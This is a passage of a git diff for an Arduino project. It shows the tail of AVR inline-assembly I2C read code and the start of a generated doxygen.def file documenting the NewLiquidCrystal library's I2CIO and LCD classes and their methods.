;; 7C + 2X \n\t" + " nop \n\t " + " nop \n\t " + " nop \n\t " + " sbis %[SCLIN], %[SCLPIN] ;check for SCL high ;; 9C +2X \n\t" + " rcall ass_i2c_wait_scl_high \n\t" + " brmi _Li2c_read_return ;return if timeout ;; 10C + 2X\n\t" + " clc ;clear carry flag ;; 11C + 2X\n\t" + " sbic %[SDAIN],%[SDAPIN] ;if SDA is high ;; 11C + 2X\n\t" + " sec ;set carry flag ;; 12C + 2X\n\t" + " rol r23 ;store bit ;; 13C + 2X\n\t" + " brcc _Li2c_read_bit ;while receiv reg not full \n\t" + " ;; 15C + 2X for one bit loop \n\t" + + "_Li2c_put_ack: \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; 2C \n\t" + " cpi r24,0 ;; 3C \n\t" + " breq _Li2c_put_ack_low ;if (ack=0) ;; 5C \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " rjmp _Li2c_put_ack_high \n\t" + "_Li2c_put_ack_low: ;else \n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low ;; 7C \n\t" + "_Li2c_put_ack_high: \n\t" + " nop \n\t " + " nop \n\t " + " nop \n\t " +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 7C + X \n\t" +#endif + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; 9C +X \n\t" + " cln ;clear N ;; +1 = 10C\n\t" + " nop \n\t " + " nop \n\t " + " sbis %[SCLIN],%[SCLPIN] ;wait SCL high ;; 12C + X\n\t" + " rcall ass_i2c_wait_scl_high \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 11C + 2X\n\t" +#endif + "_Li2c_read_return: \n\t" + " nop \n\t " + " nop \n\t " + "sbi %[SCLDDR],%[SCLPIN] ;force SCL low so SCL=H is short\n\t" + " mov r24,r23 ;; 12C + 2X \n\t" + " clr r25 ;; 13 C + 2X\n\t" + " ret ;; 17C + X" + :: + [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), [SDAIN] "I" (SDA_IN) + ); + return ' '; // fool the compiler! +} + +#endif + + + diff --git a/libraries/NewliquidCrystal/def/doxygen.def b/libraries/NewliquidCrystal/def/doxygen.def new file mode 100644 index 0000000..e19fb0b --- /dev/null +++ b/libraries/NewliquidCrystal/def/doxygen.def @@ -0,0 +1,8422 @@ +AutoGen Definitions dummy; +class = { + cp-id = 'class_i2_c_i_o'; + cp-name = 'I2CIO'; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a6f814653d903dc2ff6e8420eeb7954ae'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'i2cAddr'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '62'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the device. + @discussion This method initializes the device allocating an I2C address. + This method is the first method that should be call prior to calling any + other method form this class. On initialization all pins are configured + as INPUT on the device. + + @param i2cAddr: I2C Address where the device is located. + @result 1 if the device was initialized correctly, 0 otherwise +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1ac26221011a8b49bcea9ef62712ea88a7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'digitalRead'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '108'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Read a pin from the device. + @discussion Reads a particular pin from the device. To read a particular + pin it has to be configured as INPUT. During initialization all pins are + configured as INPUTs by default. Please refer to pinMode or portMode. + + @param pin[in] Pin from the port to read its status. Range (0..7) + @result Returns the pin status (HIGH, LOW) if the pin is configured + as an output, reading its value will always return LOW regardless of its + real state. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a473206162522b847546777d16a7c6dcd'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'digitalWrite'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'level'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '136'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes a digital level to a particular pin. + @discussion Write a level to the indicated pin of the device. For this + method to have effect, the pin has to be configured as OUTPUT using the + pinMode or portMode methods. + + @param pin[in] device pin to change level. Range (0..7). + @para level[in] logic level to set the pin at (HIGH, LOW). + @result 1 on success, 0 otherwise. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a32eb7832075ad6011d67874405a0d0a6'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'I2CIO'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '49'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Constructor method + @discussion Class constructor constructor. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a53b94274eb6bb68564cf5243323db887'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pinMode'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'dir'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '73'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Sets the mode of a particular pin. + @discussion Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite + has no effect on pins which are not declared as output. + + @param pin[in] Pin from the I2C IO expander to be configured. Range 0..7 + @param dir[in] Pin direction (INPUT, OUTPUT). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a0341888753bc54c4384f5593a870fb34'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'portMode'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'dir'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '83'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Sets all the pins of the device in a particular direction. + @discussion This method sets all the pins of the device in a particular + direction. This method is useful to set all the pins of the device to be + either inputs or outputs. + @param dir[in] Direction of all the pins of the device (INPUT, OUTPUT). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a7a3db7bfc15ede0ae9e8c8bd44290ef7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'read'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '94'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Reads all the pins of the device that are configured as INPUT. + @discussion Reads from the device the status of the pins that are configured + as INPUT. During initialization all pins are configured as INPUTs by default. + Please refer to pinMode or portMode. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1ae2063569c927d0008e2593d14504fdcd'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '123'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Write a value to the device. + @discussion Writes to a set of pins in the device. The value is the binary + representation of all the pins in device. The value written is masked with + the configuration of the direction of the pins; to change the state of + a particular pin with this method, such pin has to be configured as OUTPUT + using the portMode or pinMode methods. If no pins have been configured as + OUTPUTs this method will have no effect. + + @param value[in] value to be written to the device. + @result 1 on success, 0 otherwise +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1a283a99ef1c6f58fa8a0489089cba9682'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_dirMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '142'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1ade58da873af4240a53053ef5f12a2728'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_i2cAddr'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '143'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1a8c566f3fd332eefe4db57cbe6b69337c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +bool +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_initialised'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '144'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1abcd6f7f5f176f965d8ae535afa9f6cec'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_shadow'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '141'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + cp-fileline = '42'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_l_c_d'; + cp-name = 'LCD'; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___i2_c'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___i2_c___by_vac'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___s_r'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___s_r1_w'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___s_r2_w'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___s_r3_w'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1abb3ed88d530f6283e6159b4973e7da9e'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'autoscroll'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '358'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns on automatic scrolling of the LCD. + @discussion Turns on automatic scrolling of the LCD. This causes each + character output to the display to push previous characters over by one + space. If the current text direction is left-to-right (the default), + the display scrolls to the left; if the current direction is right-to-left, + the display scrolls to the right. + This has the effect of outputting each new character to the same location on + the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aba8867fe2210cbfa8db869208709be10'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'backlight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '428'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on the LCD backlight. + @discussion Switch-on the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a3f587d1cbb2d59765ef60a5216b56fea'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '200'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class. + + This method is abstract, a base implementation is available common to all LCD + drivers. Should it not be compatible with some other LCD driver, a derived + implementation should be done on the driver specif class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] character size, default==LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a878b36878fa8287093964eba83aace77'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'blink'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '264'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Display the cursor of the LCD. + @discussion Display the blinking LCD cursor. If used in combination with + the cursor() function, the result will depend on the particular display. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1afa699e0beeeee03cce8cef87eba81c4a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'clear'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '212'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Clears the LCD. + @discussion Clears the LCD screen and positions the cursor in the upper-left + corner. + + This operation is time consuming for the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a91cba8f93c692abcddf8bc3de58d2d3a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'createChar'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'location'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charmap'; + sec-mem-param-array = '[]'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '386'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Creates a custom character for use on the LCD. + @discussion Create a custom character (glyph) for use on the LCD. + Most chipsets only support up to eight characters of 5x8 pixels. Therefore, + this methods has been limited to locations (numbered 0 to 7). + + The appearance of each custom character is specified by an array of eight + bytes, one for each row. The five least significant bits of each byte + determine the pixels in that row. To display a custom character on screen, + write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7. + + @param location[in] LCD memory location of the character to create + (0 to 7) + @param charmap[in] the bitmap array representing each row of the character. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a194814f64dfa50a90e07e0fe0d361620'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'cursor'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '282'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Display the LCD cursor. + @discussion Display the LCD cursor: an underscore (line) at the location + where the next character will be written. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a5b07cf05e8e5e7c53654f5ca0cf58b89'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'display'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '246'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns on the LCD display. + @discussion Turns on the LCD display, after it's been turned off with + noDisplay(). This will restore the text (and cursor location) that was on + the display prior to calling noDisplay(). + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aee45ad37f09312f5d9982257e2d37e68'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'home'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '225'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the cursor to the upper-left corner. + @discussion Positions the cursor in the upper-left of the LCD. + That is, use that location in outputting subsequent text to the display. + To also clear the display, use the clear() function instead. + + This operation is time consuming for the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a00bb2db1390721abc7b24ac4b8c276c8'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LCD'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '183'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LiquidCrystal abstract constructor. + @discussion LiquidCrystal class abstract constructor needed to create + the base abstract class. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a238e9f6476dc7df64af04eb6c87f6ac7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'leftToRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '313'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Set the direction for text written to the LCD to left-to-right. + @discussion Set the direction for text written to the LCD to left-to-right. + All subsequent characters written to the display will go from left to right, + but does not affect previously-output text. + + This is the default configuration. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aad2abc99d1aca5403873579d9d72c2d4'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'moveCursorLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '334'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Moves the cursor one space to the left. + @discussion + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a09eec0c712e54b066f5894635c1fe75c'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'moveCursorRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '343'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Moves the cursor one space to the right. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a96035dde40efbf73390e00b5beb00231'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noAutoscroll'; + sec-mem-desc-file = 